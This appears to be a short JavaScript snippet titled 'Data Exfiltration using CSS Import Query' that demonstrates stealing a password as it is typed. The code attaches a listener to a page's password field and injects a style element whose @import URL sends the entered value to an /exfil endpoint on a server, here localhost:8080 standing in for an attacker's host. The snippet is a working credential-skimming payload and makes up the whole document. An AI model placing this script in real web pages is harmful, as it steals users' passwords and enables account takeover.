Data Exfiltration using CSS Import Query

data-exfil-using-css-import.js

document
    .querySelector(`input[type="password"]`)
    .addEventListener("change", evt => {
        let style = document.createElement('style');
        style.type = 'text/css';
        style.innerHTML = `@import url("http://localhost:8080/exfil?a=${evt.target.value}")`;

        document.getElementsByTagName('head')[0].appendChild(style);
    })